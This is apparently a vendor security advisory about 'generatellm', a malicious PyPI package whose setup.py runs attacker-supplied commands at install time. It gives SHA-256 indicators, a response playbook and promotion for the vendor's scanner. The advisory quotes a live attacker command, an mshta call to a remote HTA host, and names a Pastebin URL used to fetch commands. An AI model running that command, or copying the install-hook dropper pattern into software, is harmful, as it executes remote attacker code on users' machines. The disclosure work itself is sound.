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Malicious package

generatellmPyPI

Malicious code in generatellm (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-5773
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall generatellm

What this malware does

GenerateLLM 2.23 is a hollow PyPI package (placeholder metadata, no functional code under src/, only an egg-info directory) whose entire payload is an install-time remote code execution dropper. setup.py at lines 31-35 fetches https://pastebin.com/raw/yBcUM1QB, takes the first line of the response, and passes it directly to os.system via cmd /c "{cmd_pastebin}", executing arbitrary attacker-controlled commands on the installer's machine. If the Pastebin fetch fails, setup.py line 38 falls back to os.system('cmd /c "mshta http://fixars.top"'), abusing the Windows mshta.exe LOLBin to load and execute a remote HTA application from an unrelated, non-publisher, plain-HTTP domain. Both branches fire automatically during pip install GenerateLLM with no user interaction. The Pastebin URL is mutable and anonymous, so the executed command can be changed by the attacker at any time without republishing the package. The generic LLM-themed name with no real author identity is consistent with namespace-squatting designed to lure developers searching for LLM tooling.

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

  • Downloads and executes a remote executable.

  • obfuscation

  • malware

  • tool:mshta

Malicious versions

3 flagged
2.212.222.23

Indicators of compromise (SHA-256)

081df5df4ab9a6bd2eee1934019a75c3df660cf544d1389aa16c9057eec61f66
31201af7035560c0798b46e67a374b9526a7e8ed2f856235e5eb0438d1a8d080
9182c5f6ea20cab351cbba20f0849d6a4ca28e00d06158127df48be12bc8c9eb
d209a2d7f754788c2cc41d3ece32146fac0f3358079d1718091ef1611e951ad7
36e93812557935f67592c02b6c54a2aa7dde6472fbcae491a63957cc02c0a070

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for generatellm (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging generatellm across your stack and pipelines.

  2. If you installed it — respond

    generatellm is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If generatellm was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks generatellm before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. generatellm on PyPI has been identified as a malicious package (versions 2.21, 2.22, 2.23 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

2026-06-easyaillmIN-MAL-2026-006681

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks generatellm-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.